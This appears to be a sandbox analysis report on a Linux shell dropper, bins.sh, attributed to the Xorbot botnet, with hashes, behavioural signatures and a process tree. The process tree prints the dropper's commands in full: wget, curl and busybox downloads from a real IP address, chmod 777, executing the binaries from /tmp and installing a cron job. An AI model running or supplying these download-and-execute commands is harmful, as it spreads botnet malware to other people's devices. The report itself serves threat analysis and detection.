Analysis
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max time kernel
150s -
max time network
85s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
05/12/2024, 08:41
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
d32474a35e8f1f0273df0472abcffbd1
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SHA1
7050456a281a217032b8081dc2fecde1dd47d39a
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SHA256
d67a7469745e36651000846e5d70e0ac0a7859f1b85ceb651233cfb6ad469f59
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SHA512
1420ac3b05b7dbaee44d19c3ba64415fe46db9f61e5c552939ea6354e5df6a5a704e9c9cdc33c84c08836d7092cb0e74305970dfd54eb31a85cbda87b91acdf6
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SSDEEP
96:nI3vGLKKLHEkGNhIZC8OVLX7tW63nYClcRWd3vGXEKEkGNh3sZCoKOrXL4VLX7wJ:nLKKLXZC5fW63nYCWpZCbh3nYYC
Malware Config
Signatures
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resource yara_rule behavioral2/files/fstream-1.dat family_xorbot behavioral2/files/fstream-3.dat family_xorbot behavioral2/files/fstream-5.dat family_xorbot behavioral2/files/fstream-10.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 680 chmod 690 chmod 722 chmod 751 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks 681 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7 691 bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7 /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 723 X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI 752 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI -
Renames itself 1 IoCs
pid Process 725 X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.pDEnsl crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/25/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/41/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/150/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/733/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/self/auxv curl File opened for reading /proc/filesystems crontab File opened for reading /proc/43/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/105/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/738/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/self/auxv curl File opened for reading /proc/10/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/97/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/3/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/15/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/797/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/809/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/811/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/748/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/8/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/16/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/17/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/217/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/647/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/765/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/767/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/783/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/799/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/759/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/138/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/740/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/757/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/784/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/filesystems crontab File opened for reading /proc/12/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/314/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/646/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/750/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/807/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/self/auxv curl File opened for reading /proc/22/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/644/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/277/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/815/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/2/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/11/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/23/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/300/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/654/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/29/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/301/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/602/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/772/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/802/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/645/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/758/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/751/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/638/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/780/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/4/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/18/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/21/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 File opened for reading /proc/24/cmdline X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 -
Writes file to tmp directory 10 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks busybox File opened for modification /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7 curl File opened for modification /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7 busybox File opened for modification /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI busybox File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks wget File opened for modification /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks curl File opened for modification /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7 wget File opened for modification /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 wget File opened for modification /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 curl File opened for modification /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1 busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:647
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/bin/rm/bin/rm bins.sh2⤵PID:650
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/usr/bin/wgetwget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Writes file to tmp directory
PID:656
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/usr/bin/curlcurl -O http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:671
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Writes file to tmp directory
PID:678
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/bin/chmodchmod 777 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- File and Directory Permissions Modification
PID:680
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/tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks./XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵
- Executes dropped EXE
PID:681
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/bin/rmrm XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks2⤵PID:683
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/usr/bin/wgetwget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H72⤵
- Writes file to tmp directory
PID:684
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/usr/bin/curlcurl -O http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:685
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H72⤵
- Writes file to tmp directory
PID:686
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/bin/chmodchmod 777 bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H72⤵
- File and Directory Permissions Modification
PID:690
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/tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7./bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H72⤵
- Executes dropped EXE
PID:691
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/bin/rmrm bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H72⤵PID:695
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/usr/bin/wgetwget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf12⤵
- Writes file to tmp directory
PID:696
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/usr/bin/curlcurl -O http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf12⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:703
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf12⤵
- Writes file to tmp directory
PID:718
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/bin/chmodchmod 777 X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf12⤵
- File and Directory Permissions Modification
PID:722
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/tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1./X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf12⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:723 -
/bin/shsh -c "crontab -l"3⤵PID:726
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:727
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/bin/shsh -c "crontab -"3⤵PID:728
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:730
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/bin/rmrm X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf12⤵PID:734
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/usr/bin/wgetwget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI2⤵PID:737
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/usr/bin/curlcurl -O http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI2⤵PID:739
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI2⤵
- Writes file to tmp directory
PID:741
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/bin/chmodchmod 777 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI2⤵
- File and Directory Permissions Modification
PID:751
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/tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI./6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI2⤵
- Executes dropped EXE
PID:752
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/bin/rmrm 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI2⤵PID:753
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/usr/bin/wgetwget http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx2⤵PID:754
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/usr/bin/curlcurl -O http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx2⤵PID:755
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD558ee69a73487ad4ff5824bf3cff93b09
SHA17ee402db6efcbd7183cba55e58c3282a873661bb
SHA256a36da04c23085c3a977cf02123862a8073b64d639853ee80d05976b49831c4e7
SHA512777201b12cd289738d37d8e8f83dc3c779cff98e9ba22f65da7e0ee47f4e38adb7ac140de037a217cd40162782d78607052c157ee705859f69c2ae6d87614279